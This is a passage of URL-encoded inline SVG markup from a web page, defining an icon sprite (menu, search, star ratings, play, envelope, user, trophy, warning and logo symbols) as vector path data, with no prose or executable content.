M489.176%2c61.357c-0.828%2c0.847-1.241%2c1.852-1.241%2c3.013c0%2c1.204%2c0.419%2c2.226%2c1.261%2c3.069c0.837%2c0.842%2c1.846%2c1.26%2c3.032%2c1.26
c1.181%2c0%2c2.188-0.421%2c3.024-1.263c0.835-0.854%2c1.254-1.879%2c1.254-3.066c0-1.158-0.419-2.16-1.246-3.013
c-0.845-0.865-1.852-1.297-3.032-1.297C491.032%2c60.06%2c490.019%2c60.492%2c489.176%2c61.357z
M489.94%2c67.273V61.5
c0.357%2c0%2c0.894%2c0.002%2c1.608%2c0.005c0.709%2c0%2c1.104%2c0.004%2c1.188%2c0.01c0.453%2c0.032%2c0.837%2c0.133%2c1.135%2c0.295
c0.512%2c0.286%2c0.77%2c0.747%2c0.77%2c1.382c0%2c0.485-0.137%2c0.841-0.406%2c1.059c-0.271%2c0.22-0.604%2c0.35-1%2c0.391
c0.362%2c0.073%2c0.632%2c0.187%2c0.816%2c0.333c0.336%2c0.272%2c0.506%2c0.704%2c0.506%2c1.285v0.518c0%2c0.057%2c0.004%2c0.115%2c0.013%2c0.169
c0.007%2c0.059%2c0.021%2c0.109%2c0.046%2c0.17l0.056%2c0.158h-1.442c-0.046-0.181-0.08-0.446-0.099-0.792
c-0.016-0.344-0.054-0.584-0.099-0.708c-0.076-0.196-0.214-0.339-0.417-0.418c-0.113-0.046-0.288-0.077-0.517-0.094l-0.33-0.021
h-0.314v2.033H489.94z
M492.692%2c62.628c-0.208-0.087-0.497-0.126-0.874-0.126h-0.365v1.695h0.584c0.351%2c0%2c0.629-0.07%2c0.825-0.216
c0.197-0.141%2c0.299-0.376%2c0.299-0.692C493.161%2c62.972%2c493.005%2c62.747%2c492.692%2c62.628z'%3e%3c/path%3e%3c/g%3e%3cg%3e%3cg%3e%3cpath
d='M495.859%2c67.606c-1.011%2c0.98-2.226%2c1.469-3.639%2c1.469c-1.466%2c0-2.697-0.499-3.701-1.502
c-1.001-1.005-1.502-2.235-1.502-3.7c0-1.52%2c0.54-2.784%2c1.625-3.79c1.015-0.941%2c2.208-1.413%2c3.578-1.413
c1.438%2c0%2c2.661%2c0.508%2c3.677%2c1.524c1.017%2c1.017%2c1.525%2c2.243%2c1.525%2c3.678C497.423%2c65.355%2c496.905%2c66.598%2c495.859%2c67.606z
M489.176%2c60.857c-0.828%2c0.847-1.241%2c1.852-1.241%2c3.013c0%2c1.204%2c0.419%2c2.226%2c1.261%2c3.069c0.837%2c0.842%2c1.846%2c1.26%2c3.032%2c1.26
c1.181%2c0%2c2.188-0.421%2c3.024-1.263c0.835-0.854%2c1.254-1.879%2c1.254-3.066c0-1.158-0.419-2.16-1.246-3.013
c-0.845-0.866-1.852-1.297-3.032-1.297C491.032%2c59.56%2c490.019%2c59.992%2c489.176%2c60.857z
M489.94%2c66.773V61
c0.357%2c0%2c0.894%2c0.002%2c1.608%2c0.005c0.709%2c0%2c1.104%2c0.004%2c1.188%2c0.01c0.453%2c0.032%2c0.837%2c0.133%2c1.135%2c0.295
c0.512%2c0.286%2c0.77%2c0.747%2c0.77%2c1.382c0%2c0.485-0.137%2c0.841-0.406%2c1.059c-0.271%2c0.22-0.604%2c0.35-1%2c0.391
c0.362%2c0.073%2c0.632%2c0.187%2c0.816%2c0.333c0.336%2c0.272%2c0.506%2c0.704%2c0.506%2c1.285v0.518c0%2c0.057%2c0.004%2c0.115%2c0.013%2c0.169
c0.007%2c0.059%2c0.021%2c0.109%2c0.046%2c0.17l0.056%2c0.158h-1.442c-0.046-0.181-0.08-0.446-0.099-0.792
c-0.016-0.344-0.054-0.584-0.099-0.708c-0.076-0.196-0.214-0.339-0.417-0.418c-0.113-0.046-0.288-0.077-0.517-0.094l-0.33-0.021
h-0.314v2.033H489.94z
M492.692%2c62.128c-0.208-0.087-0.497-0.126-0.874-0.126h-0.365v1.695h0.584
c0.351%2c0%2c0.629-0.07%2c0.825-0.216c0.197-0.141%2c0.299-0.376%2c0.299-0.692C493.161%2c62.472%2c493.005%2c62.247%2c492.692%2c62.128z'%3e%3c/path%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/symbol%3e%3csymbol
id='mobile-menu' viewBox='0 0 24 24'%3e%3cpath d='M24 6h-24v-4h24v4zm0
4h-24v4h24v-4zm0 8h-24v4h24v-4z'%3e%3c/path%3e%3c/symbol%3e%3csvg id='magnify-
glass' viewBox='0 0 24 24' data-evernote-id='185' class='js-evernote-
checked'%3e%3cpath d='M23.822 20.88l-6.353-6.354c.93-1.465 1.467-3.2
1.467-5.059.001-5.219-4.247-9.467-9.468-9.467s-9.468 4.248-9.468 9.468c0 5.221
4.247 9.469 9.468 9.469 1.768 0 3.421-.487 4.839-1.333l6.396 6.396
3.119-3.12zm-20.294-11.412c0-3.273 2.665-5.938 5.939-5.938 3.275 0 5.94 2.664
5.94 5.938 0 3.275-2.665 5.939-5.94 5.939-3.274
0-5.939-2.664-5.939-5.939z'%3e%3c/path%3e%3c/svg%3e%3csymbol id='stars-full'
viewBox='0 0 14 14'%3e%3cpolygon points='7%2c0 8.8%2c5.1 14%2c5.3 9.9%2c8.7
11.3%2c14 7%2c11 2.7%2c14 4.1%2c8.7 0%2c5.3
5.2%2c5.1'%3e%3c/polygon%3e%3c/symbol%3e%3csymbol id='stars-half' viewBox='0 0
14 14'%3e%3cpolygon points='7.1%2c0 7.1%2c11 2.7%2c14 4.1%2c8.7 0%2c5.3
5.2%2c5.1'%3e%3c/polygon%3e%3c/symbol%3e%3csymbol id='play' viewBox='0 0 24
24'%3e%3cpath d='M21 12l-18 12v-24z'%3e%3c/path%3e%3c/symbol%3e%3csymbol
id='play-overlay' viewBox='-99 101 100 100'%3e%3cg%3e%3ccircle cx='-50'
cy='151' r='33'%3e%3c/circle%3e%3c/g%3e%3cpath class='playOverlayBorder'
d='M-50%2c118c18.2%2c0%2c33%2c14.8%2c33%2c33s-14.8%2c33-33%2c33s-33-14.8-33-33S-68.2%2c118-50%2c118
M-50%2c116c-19.3%2c0-35%2c15.7-35%2c35
s15.7%2c35%2c35%2c35s35-15.7%2c35-35S-30.7%2c116-50%2c116L-50%2c116z'%3e%3c/path%3e%3cg%3e%3cpath
class='playOverlayArrow'
d='M-60.3%2c138.6c0-2.2%2c1.5-3.1%2c3.4-1.9l19.8%2c12.2c1.9%2c1.2%2c1.9%2c3%2c0%2c4.2l-19.8%2c12.2c-1.9%2c1.2-3.4%2c0.3-3.4-1.9C-60.3%2c163.4-60.3%2c138.6-60.3%2c138.6z'%3e%3c/path%3e%3c/g%3e%3c/symbol%3e%3csymbol
id='play-alt' viewBox='0 0 24 24'%3e%3cg%3e%3cpath d='M12 2c5.514 0 10 4.486
10 10s-4.486 10-10 10-10-4.486-10-10 4.486-10 10-10zm0-2c-6.627 0-12 5.373-12
12s5.373 12 12 12 12-5.373 12-12-5.373-12-12-12zm-2
7v10l7-5-7-5z'%3e%3c/path%3e%3c/g%3e%3c/symbol%3e%3csymbol id='video'
viewBox='0 0 32 22'%3e%3cg%3e%3cpath
d='M29%2c2.2c-0.7%2c0.2-4.6%2c3-7.9%2c5.3V2.1C21.1%2c1%2c20.1%2c0%2c19%2c0H2.1C1%2c0%2c0%2c1%2c0%2c2.1v17.7C0%2c21%2c1%2c22%2c2.1%2c22H19c1.2%2c0%2c2.1-1%2c2.1-2.1
v-5.9c3.3%2c2.4%2c7.4%2c5.4%2c8.2%2c5.6c1.4%2c0.4%2c2.7-0.1%2c2.7-0.1V2.2C32%2c2.2%2c30.1%2c1.8%2c29%2c2.2z'%3e%3c/path%3e%3c/g%3e%3c/symbol%3e%3csymbol
id='photo' viewBox='0 0 32 24'%3e%3cpath
d='M30%2c4h-6c-0.5%2c0-2.9-4-4-4h-8c-1.1%2c0-3.6%2c4-4%2c4H2C0.9%2c4%2c0%2c4.9%2c0%2c6v16c0%2c1.1%2c0.9%2c2%2c2%2c2h28c1.1%2c0%2c2-0.9%2c2-2V6
C32%2c4.9%2c31.1%2c4%2c30%2c4z
M16%2c20.3c-3.9%2c0-7-3.1-7-7c0-3.9%2c3.1-7%2c7-7c3.9%2c0%2c7%2c3.1%2c7%2c7C23%2c17.2%2c19.9%2c20.3%2c16%2c20.3z
M16%2c19
c-3.1%2c0-5.6-2.5-5.6-5.6c0-3.1%2c2.5-5.6%2c5.6-5.6c3.1%2c0%2c5.6%2c2.5%2c5.6%2c5.6C21.6%2c16.5%2c19.1%2c19%2c16%2c19z'%3e%3c/path%3e%3c/symbol%3e%3csymbol
id='arrow-round' viewBox='0 0 16 28'%3e%3cg%3e%3cpath
d='M0.6%2c27.4c0.8%2c0.8%2c2%2c0.8%2c2.8%2c0l12-12c0.8-0.8%2c0.8-2%2c0-2.8l-12-12C3%2c0.2%2c2.5%2c0%2c2%2c0C1.5%2c0%2c1%2c0.2%2c0.6%2c0.6
c-0.8%2c0.8-0.8%2c2%2c0%2c2.8L11.2%2c14L0.6%2c24.6C-0.2%2c25.4-0.2%2c26.6%2c0.6%2c27.4z'%3e%3c/path%3e%3c/g%3e%3c/symbol%3e%3csymbol
id='arrow-alt' viewBox='0 0 24 24'%3e%3cpath d='M14
18l10-7.088-10-6.912v3.042s-11.618 2.583-14 12.958c5.072-5.431 14-5.218
14-5.218v3.218z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='sitemap' viewBox='0 0
24 24'%3e%3cpath d='M20 18c1.103 0 2 .897 2 2s-.897 2-2 2-2-.897-2-2 .897-2
2-2zm0-2c-2.209 0-4 1.791-4 4s1.791 4 4 4 4-1.791 4-4-1.791-4-4-4zm-16 2c1.103
0 2 .897 2 2s-.897 2-2 2-2-.897-2-2 .897-2 2-2zm0-2c-2.209 0-4 1.791-4 4s1.791
4 4 4 4-1.791 4-4-1.791-4-4-4zm8-14c1.103 0 2 .897 2 2s-.897 2-2 2-2-.897-2-2
.897-2 2-2zm0-2c-2.209 0-4 1.791-4 4s1.791 4 4 4 4-1.791
4-4-1.791-4-4-4zm3.873 15.655l-2.873-2.404v-3.341c-.326.055-.658.09-1
.09s-.674-.035-1-.09v3.341l-2.873 2.404c.484.46.892 1 1.201 1.598l2.672-2.253
2.672 2.253c.309-.598.717-1.137
1.201-1.598z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='chat' viewBox='0 0 24
24'%3e%3cpath d='M24 20h-3v4l-5.333-4h-7.667v-4h2v2h6.333l2.667
2v-2h3v-8.001h-2v-2h4v12.001zm-15.667-6l-5.333 4v-4h-3v-14.001l18
.001v14h-9.667zm-6.333-2h3v2l2.667-2h8.333v-10l-14-.001v10.001z'%3e%3c/path%3e%3c/symbol%3e%3csymbol
id='push-pin' viewBox='0 0 24 24'%3e%3cpath d='M6.166 16.943l1.4 1.4-4.622
4.657h-2.944l6.166-6.057zm11.768-6.012c2.322-2.322 4.482-.457
6.066-1.931l-8-8c-1.474 1.584.142 3.494-2.18 5.817-3.016
3.016-4.861-.625-10.228 4.742l9.6 9.6c5.367-5.367 1.725-7.211
4.742-10.228z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='envelope' viewBox='0 0
24 24'%3e%3cg%3e%3cpath d='M12 12.713l-11.985-9.713h23.97l-11.985 9.713zm0
2.574l-12-9.725v15.438h24v-15.438l-12
9.725z'%3e%3c/path%3e%3c/g%3e%3c/symbol%3e%3csymbol id='envelope-alt'
viewBox='0 0 24 24'%3e%3cpath d='M.026 24l11.974-11.607 11.974
11.607h-23.948zm11.964-23.961l-11.99 8.725v12.476l7.352-7.127-5.653-4.113
10.291-7.488 10.309 7.488-5.655 4.108 7.356
7.132v-12.476l-12.01-8.725z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='envelope-
open-outline'%3e%3csvg viewBox='0 0 24 24' data-evernote-id='186' class='js-
evernote-checked'%3e%3cpath d='M11.99 0l-11.99
8.723v15.277h24v-15.277l-12.01-8.723zm.001 2.472l9.793 7.113-6.735
4.588-3.049-2.47-3.049 2.471-6.737-4.589 9.777-7.113zm-9.991 9.386l5.329
3.63-5.329 4.318v-7.948zm.474 10.142l9.526-7.723 9.526
7.723h-19.052zm19.526-2.194l-5.329-4.317
5.329-3.631v7.948z'%3e%3c/path%3e%3c/svg%3e%3c/symbol%3e%3csymbol id='bell'
viewBox='0 0 24 24'%3e%3cg%3e%3cpath d='M15.137
3.945c-.644-.374-1.042-1.07-1.041-1.82v-.003c.001-1.172-.938-2.122-2.096-2.122s-2.097.95-2.097
2.122v.003c.001.751-.396 1.446-1.041 1.82-4.667 2.712-1.985 11.715-6.862
13.306v1.749h20v-1.749c-4.877-1.591-2.195-10.594-6.863-13.306zm-3.137-2.945c.552
0 1 .449 1 1 0 .552-.448 1-1 1s-1-.448-1-1c0-.551.448-1 1-1zm3 20c0
1.598-1.392 3-2.971
3s-3.029-1.402-3.029-3h6z'%3e%3c/path%3e%3c/g%3e%3c/symbol%3e%3csymbol
id='user-alt' viewBox='0 0 24 24'%3e%3cg%3e%3cpath d='M20.822
18.096c-3.439-.794-6.64-1.49-5.09-4.418 4.72-8.912
1.251-13.678-3.732-13.678-5.082 0-8.464 4.949-3.732 13.678 1.597 2.945-1.725
3.641-5.09 4.418-3.073.71-3.188 2.236-3.178 4.904l.004
1h23.99l.004-.969c.012-2.688-.092-4.222-3.176-4.935z'%3e%3c/path%3e%3c/g%3e%3c/symbol%3e%3csymbol
id='user-alt-listings' viewBox='0 0 24 24'%3e%3cpath d='M19 7.001c0
3.865-3.134 7-7 7s-7-3.135-7-7c0-3.867 3.134-7.001 7-7.001s7 3.134 7
7.001zm-1.598 7.18c-1.506 1.137-3.374 1.82-5.402 1.82-2.03
0-3.899-.685-5.407-1.822-4.072 1.793-6.593 7.376-6.593
9.821h24c0-2.423-2.6-8.006-6.598-9.819z'%3e%3c/path%3e%3c/symbol%3e%3csymbol
id='paperclip' viewBox='0 0 24 24'%3e%3cg%3e%3cpath d='M21.586 10.461l-10.05
10.075c-1.95 1.949-5.122 1.949-7.071 0s-1.95-5.122
0-7.072l10.628-10.585c1.17-1.17 3.073-1.17 4.243 0 1.169 1.17 1.17 3.072 0
4.242l-8.507 8.464c-.39.39-1.024.39-1.414 0s-.39-1.024
0-1.414l7.093-7.05-1.415-1.414-7.093 7.049c-1.172 1.172-1.171 3.073 0
4.244s3.071 1.171 4.242 0l8.507-8.464c.977-.977 1.464-2.256 1.464-3.536
0-2.769-2.246-4.999-5-4.999-1.28 0-2.559.488-3.536 1.465l-10.627 10.583c-1.366
1.368-2.05 3.159-2.05 4.951 0 3.863 3.13 7 7 7 1.792 0 3.583-.684
4.95-2.05l10.05-10.075-1.414-1.414z'%3e%3c/path%3e%3c/g%3e%3c/symbol%3e%3csymbol
id='book' viewBox='0 0 24 24'%3e%3cg%3e%3cpath d='M5.495 4c-1.375 0-1.375-2
0-2h16.505v-2h-17c-1.657 0-3 1.343-3 3v18c0 1.657 1.343 3 3
3h17v-20h-16.505z'%3e%3c/path%3e%3c/g%3e%3c/symbol%3e%3csymbol id='caret'
viewBox='0 0 16 28'%3e%3cg%3e%3cpath
d='M0.6%2c27.4c0.8%2c0.8%2c2%2c0.8%2c2.8%2c0l12-12c0.8-0.8%2c0.8-2%2c0-2.8l-12-12C3%2c0.2%2c2.5%2c0%2c2%2c0C1.5%2c0%2c1%2c0.2%2c0.6%2c0.6
c-0.8%2c0.8-0.8%2c2%2c0%2c2.8L11.2%2c14L0.6%2c24.6C-0.2%2c25.4-0.2%2c26.6%2c0.6%2c27.4z'%3e%3c/path%3e%3c/g%3e%3c/symbol%3e%3csymbol
id='caret-alt' viewBox='0 0 16 28'%3e%3cg%3e%3cpath
d='M0.6%2c27.4c0.8%2c0.8%2c2%2c0.8%2c2.8%2c0l12-12c0.8-0.8%2c0.8-2%2c0-2.8l-12-12C3%2c0.2%2c2.5%2c0%2c2%2c0C1.5%2c0%2c1%2c0.2%2c0.6%2c0.6
c-0.8%2c0.8-0.8%2c2%2c0%2c2.8L11.2%2c14L0.6%2c24.6C-0.2%2c25.4-0.2%2c26.6%2c0.6%2c27.4z'%3e%3c/path%3e%3c/g%3e%3c/symbol%3e%3csymbol
id='info' viewBox='0 0 24 24'%3e%3cpath d='M12 2c5.514 0 10 4.486 10 10s-4.486
10-10 10-10-4.486-10-10 4.486-10 10-10zm0-2c-6.627 0-12 5.373-12 12s5.373 12
12 12 12-5.373 12-12-5.373-12-12-12zm-.001 5.75c.69 0 1.251.56 1.251
1.25s-.561 1.25-1.251 1.25-1.249-.56-1.249-1.25.559-1.25 1.249-1.25zm2.001
12.25h-4v-1c.484-.179 1-.201
1-.735v-4.467c0-.534-.516-.618-1-.797v-1h3v6.265c0 .535.517.558 1
.735v.999z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='share' viewBox='0 0 24
24'%3e%3cpath d='M6 17c2.269-9.881 11-11.667 11-11.667v-3.333l7 6.637-7
6.696v-3.333s-6.17-.171-11 5zm12 .145v2.855h-16v-12h6.598c.768-.787
1.561-1.449 2.339-2h-10.937v16h20v-6.769l-2
1.914z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='thumbs-up' viewBox='0 0 1792
1792'%3e%3cpath d='M320 1344q0-26-19-45t-45-19q-27 0-45.5 19t-18.5 45q0 27
18.5 45.5t45.5 18.5q26 0 45-18.5t19-45.5zm160-512v640q0 26-19 45t-45
19h-288q-26 0-45-19t-19-45v-640q0-26 19-45t45-19h288q26 0 45 19t19 45zm1184
0q0 86-55 149 15 44 15 76 3 76-43 137 17 56 0 117-15 57-54 94 9 112-49 181-64
76-197 78h-129q-66
0-144-15.5t-121.5-29-120.5-39.5q-123-43-158-44-26-1-45-19.5t-19-44.5v-641q0-25
18-43.5t43-20.5q24-2 76-59t101-121q68-87 101-120 18-18 31-48t17.5-48.5
13.5-60.5q7-39 12.5-61t19.5-52 34-50q19-19 45-19 46 0 82.5 10.5t60 26 40 40.5
24 45 12 50 5 45 .5 39q0 38-9.5 76t-19 60-27.5 56q-3 6-10 18t-11 22-8
24h277q78 0 135 57t57 135z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='ban'
viewBox='0 0 24 24'%3e%3cpath d='M12 0c-6.627 0-12 5.373-12 12s5.373 12 12 12
12-5.373 12-12-5.373-12-12-12zm9 12c0 1.94-.624 3.735-1.672
5.207l-12.535-12.535c1.472-1.048 3.267-1.672 5.207-1.672 4.962 0 9 4.038 9
9zm-18 0c0-1.94.624-3.735 1.672-5.207l12.534 12.534c-1.471 1.049-3.266
1.673-5.206 1.673-4.962 0-9-4.038-9-9z'%3e%3c/path%3e%3c/symbol%3e%3csymbol
id='bozo' viewBox='0 0 24 24'%3e%3cpath d='M12 2c5.514 0 10 4.486 10 10s-4.486
10-10 10-10-4.486-10-10 4.486-10 10-10zm0-2c-6.627 0-12 5.373-12 12s5.373 12
12 12 12-5.373 12-12-5.373-12-12-12zm-3.5 9c-.828 0-1.5.671-1.5 1.5s.672 1.5
1.5 1.5 1.5-.671 1.5-1.5-.672-1.5-1.5-1.5zm7 0c-.828 0-1.5.671-1.5 1.5s.672
1.5 1.5 1.5 1.5-.671 1.5-1.5-.672-1.5-1.5-1.5zm-.941
8.94c-.903-.19-1.741-.282-2.562-.282-.819
0-1.658.092-2.562.282-1.11.233-1.944-.24-2.255-1.015-.854-2.131 1.426-3.967
4.816-3.967 3.537 0 5.666 1.853 4.817 3.968-.308.769-1.136 1.249-2.254
1.014zm-2.563-1.966c1.614 0 3.056.67 3.206.279.803-2.079-7.202-2.165-6.411 0
.138.377 1.614-.279 3.205-.279zm3.881-9.85l-3.877 3.876-3.877-3.876
1.124-1.124 2.753 2.753 2.754-2.753 1.123
1.124z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='editors-choice' viewBox='0 0
24 24'%3e%3cpath d='M18 10c0 3.309-2.691 6-6 6s-6-2.691-6-6 2.691-6 6-6 6
2.691 6 6zm4 1.737l-1.895 1.168.687 2.095-2.187.46-.079 2.2-2.213-.304-.84
2.04-1.977-1.031-1.496 1.635-1.497-1.634-1.977
1.031-.84-2.04-2.213.304-.079-2.2-2.186-.461.687-2.095-1.895-1.168
1.374-1.737-1.374-1.737 1.895-1.168-.687-2.095 2.187-.46.079-2.2
2.213.304.84-2.04 1.977 1.031 1.496-1.635 1.497 1.634 1.977-1.031.84 2.04
2.213-.304.079 2.2 2.186.461-.687 2.095 1.895 1.168-1.374 1.737 1.374
1.737zm-3-1.737c0-3.866-3.134-7-7-7s-7 3.134-7 7 3.134 7 7 7 7-3.134
7-7zm-1.859 10.276l2.401 3.724 1.146-2h2.312l-2.655-4.103c-.917.969-1.999
1.775-3.204 2.379zm-13.486-2.379l-2.655 4.103h2.312l1.146 2
2.401-3.724c-1.205-.604-2.287-1.41-3.204-2.379z'%3e%3c/path%3e%3c/symbol%3e%3csymbol
id='flag' viewBox='0 0 24 24'%3e%3cpath d='M4 24h-2v-24h2v24zm18-21.387s-1.621
1.43-3.754 1.43c-3.36 0-3.436-2.895-7.337-2.895-2.108 0-4.075.98-4.909
1.694v12.085c1.184-.819 2.979-1.681 4.923-1.681 3.684 0 4.201 2.754 7.484
2.754 2.122 0 3.593-1.359
3.593-1.359v-12.028z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='pencil'
viewBox='0 0 1792 1792'%3e%3cpath d='M491 1536l91-91-235-235-91
91v107h128v128h107zm523-928q0-22-22-22-10 0-17 7l-542 542q-7 7-7 17 0 22 22 22
10 0 17-7l542-542q7-7 7-17zm-54-192l416 416-832 832h-416v-416zm683 96q0 53-37
90l-166 166-416-416 166-165q36-38 90-38 53 0 91 38l235 234q37 39 37
91z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='pencil-alt' viewBox='0 0 24
24'%3e%3cpath d='M18.363 8.464l1.433 1.431-12.67 12.669-7.125 1.436
1.439-7.127 12.665-12.668 1.431 1.431-12.255 12.224-.726 3.584 3.584-.723
12.224-12.257zm-.056-8.464l-2.815 2.817 5.691 5.692
2.817-2.821-5.693-5.688zm-12.318 18.718l11.313-11.316-.705-.707-11.313
11.314.705.709z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='pen-paper' viewBox='0
0 24 24'%3e%3cpath d='M15.812
4.819c-.33-.341-.312-.877.028-1.207l3.469-3.365c.17-.164.387-.247.603-.247.219
0 .438.085.604.257l-4.704 4.562zm-5.705 8.572c-.07.069-.107.162-.107.255 0
.194.158.354.354.354.089 0
.178-.033.247-.1l.583-.567-.493-.509-.584.567zm4.924-6.552l-1.994 1.933c-1.072
1.039-1.619 2.046-2.124 3.451l.881.909c1.419-.461 2.442-.976
3.514-2.016l1.994-1.934-2.271-2.343zm5.816-5.958l-5.137 4.982 2.586 2.671
5.138-4.98c.377-.366.566-.851.566-1.337
0-1.624-1.968-2.486-3.153-1.336zm-11.847 12.119h-4v1h4v-1zm9-1.35v1.893c0
4.107-6 2.457-6 2.457s1.518 6-2.638
6h-7.362v-20h12.629l2.062-2h-16.691v24h10.189c3.163 0 9.811-7.223
9.811-9.614v-4.687l-2 1.951z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='delete'
viewBox='0 0 24 24'%3e%3cpath d='M12 0c-6.627 0-12 5.373-12 12s5.373 12 12 12
12-5.373 12-12-5.373-12-12-12zm4.151 17.943l-4.143-4.102-4.117
4.159-1.833-1.833 4.104-4.157-4.162-4.119 1.833-1.833 4.155 4.102 4.106-4.16
1.849 1.849-4.1 4.141 4.157 4.104-1.849
1.849z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='reply' viewBox='0 0 24
24'%3e%3cpath d='M17.026 22.957c10.957-11.421-2.326-20.865-10.384-13.309l2.464
2.352h-9.106v-8.947l2.232 2.229c14.794-13.203 31.51 7.051 14.794
17.675z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='star-in-circle' viewBox='0 0
24 24'%3e%3cpath d='M12 2c5.514 0 10 4.486 10 10s-4.486 10-10
10-10-4.486-10-10 4.486-10 10-10zm0-2c-6.627 0-12 5.373-12 12s5.373 12 12 12
12-5.373 12-12-5.373-12-12-12zm-1.834 9.686l-4.166.575 3.032 2.914-.74 4.139
3.708-1.982 3.708 1.983-.74-4.139 3.032-2.915-4.166-.575-1.834-3.784-1.834
3.784z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='top-rated' viewBox='0 0 24
24'%3e%3cpath d='M12 5.173l2.335 4.817 5.305.732-3.861 3.71.942
5.27-4.721-2.524-4.721 2.525.942-5.27-3.861-3.71 5.305-.733
2.335-4.817zm0-4.586l-3.668 7.568-8.332 1.151 6.064 5.828-1.48 8.279
7.416-3.967 7.416 3.966-1.48-8.279
6.064-5.827-8.332-1.15-3.668-7.569z'%3e%3c/path%3e%3c/symbol%3e%3csymbol
id='trophy' viewBox='0 0 24 24'%3e%3cpath d='M5.991 9.656c.286.638.585
1.231.882 1.783-4.065-1.348-6.501-5.334-6.873-9.439h4.077c.036.482.08.955.139
1.405h-2.689c.427 2.001 1.549 4.729 4.464 6.251zm4.613
6.344c-.499-3.947-5.604-6.197-5.604-16h14c0 9.803-5.094 12.053-5.592
16h-2.804zm-3.254-14c.205 4.648 1.99 8.333 4.346
11.053-1.887-3.26-2.636-7.432-2.647-11.053h-1.699zm9.65
17.619v4.381h-10v-4.381c1.941 0 3.369-1.433 3.571-2.619h2.866c.193 1.187 1.565
2.619 3.563 2.619zm-1 1.381h-8v2h8v-2zm3.923-19c-.036.482-.08.955-.139
1.405h2.688c-.427 2.001-1.549 4.729-4.464 6.251-.286.638-.585 1.231-.882 1.783
4.066-1.348 6.502-5.334
6.874-9.439h-4.077z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='warning'
viewBox='0 0 24 24'%3e%3cpath d='M12 2c5.514 0 10 4.486 10 10s-4.486 10-10
10-10-4.486-10-10 4.486-10 10-10zm0-2c-6.627 0-12 5.373-12 12s5.373 12 12 12
12-5.373 12-12-5.373-12-12-12zm-1.5 6h3l-1 8h-1l-1-8zm1.5 12.25c-.69
0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25
1.25z'%3e%3c/path%3e%3c/symbol%3e%3csymbol id='user-logged-out' viewBox='0 0
24 24'%3e%3cpath id='user-5'
d='M19%2c7.001c0%2c3.865-3.134%2c7-7%2c7s-7-3.135-7-7C5%2c3.134%2c8.134%2c0%2c12%2c0S19%2c3.134%2c19%2c7.001z
M17.402%2c14.181c-1.506%2c1.137-3.374%2c1.82-5.402%2c1.82c-2.03%2c0-3.899-0.685-5.407-1.822C2.521%2c15.972%2c0%2c21.555%2c0%2c24h24
C24%2c21.577%2c21.4%2c15.994%2c17.402%2c14.181z'%3e%3c/path%3e%3c/symbol%3e%3csymbol
id='user-logged-in' viewBox='0 0 24 24'%3e%3cstyle type='text/css'%3e
.st0%7bfill:%2387E826%3b%7d .st1%7bfill:%23FFFFFF%3b%7d %3c/style%3e%3cpath
id='user-5' class='st1 js-evernote-checked'
d='M19%2c7.001c0%2c3.865-3.134%2c7-7%2c7s-7-3.135-7-7C5%2c3.134%2c8.134%2c0%2c12%2c0S19%2c3.134%2c19%2c7.001z
M17.402%2c14.181c-1.506%2c1.137-3.374%2c1.82-5.402%2c1.82c-2.03%2c0-3.899-0.685-5.407-1.822C2.521%2c15.972%2c0%2c21.555%2c0%2c24h24
C24%2c21.577%2c21.4%2c15.994%2c17.402%2c14.181z' data-evernote-
id='836'%3e%3c/path%3e%3ccircle class='st0 js-evernote-checked' cx='21.469'
cy='2.531' r='1.531' data-evernote-
id='835'%3e%3c/circle%3e%3c/symbol%3e%3csymbol id='tr-flag' viewBox='0 0 500
500'%3e%3cg%3e%3cg%3e%3cpath
d='M19.907%2c215.346l-8.208%2c41.076c0%2c0%2c49.624%2c28.399%2c83.151%2c102.299
c29.464%2c64.924%2c36.629%2c135.865%2c36.629%2c135.865l12.309-33.879c0%2c0-6.763-68.664-36.953-135.84
C68.838%2c240.323%2c19.907%2c215.346%2c19.907%2c215.346z'%3e%3c/path%3e%3cpath
d='M19.907%2c215.346l-8.208%2c41.076c0%2c0%2c49.624%2c28.399%2c83.151%2c102.299
c29.464%2c64.924%2c36.629%2c135.865%2c36.629%2c135.865l12.309-33.879c0%2c0-6.763-68.664-36.953-135.84
C68.838%2c240.323%2c19.907%2c215.346%2c19.907%2c215.346z'%3e%3c/path%3e%3c/g%3e%3cg%3e%3cg%3e%3cpath
d='M19.907%2c214.846l-8.208%2c41.076c0%2c0%2c49.624%2c28.399%2c83.151%2c102.299c29.464%2c64.924%2c36.629%2c135.865%2c36.629%2c135.865
l12.309-33.879c0%2c0-6.763-68.664-36.953-135.84C68.838%2c239.823%2c19.907%2c214.846%2c19.907%2c214.846z'%3e%3c/path%3e%3c/g%3e%3cg%3e%3cpath
d='M19.907%2c214.846l-8.208%2c41.076c0%2c0%2c49.624%2c28.399%2c83.151%2c102.299
c29.464%2c64.924%2c36.629%2c135.865%2c36.629%2c135.865l12.309-33.879c0%2c0-6.763-68.664-36.953-135.84
C68.838%2c239.823%2c19.907%2c214.846%2c19.907%2c214.846z'%3e%3c/path%3e%3c/g%3e%3c/g%3e%3c/g%3e%3cg%3e%3cg%3e%3cpath
d='M34.28%2c138.363l-8.882%2c47.568c0%2c0%2c54.062%2c36.263%2c83.477%2c101.612
c35.369%2c78.523%2c41.11%2c155.027%2c41.11%2c155.027l14.004-39.356c0%2c0-3.908-64.547-33.875-137.915
C91.094%2c169.852%2c34.28%2c138.363%2c34.28%2c138.363z'%3e%3c/path%3e%3cpath
d='M99.62%2c174.638c0%2c0%2c23.65-69.818%2c81.455-68.802c56.817%2c1.028%2c79.976%2c49.935%2c133.81%2c45.207
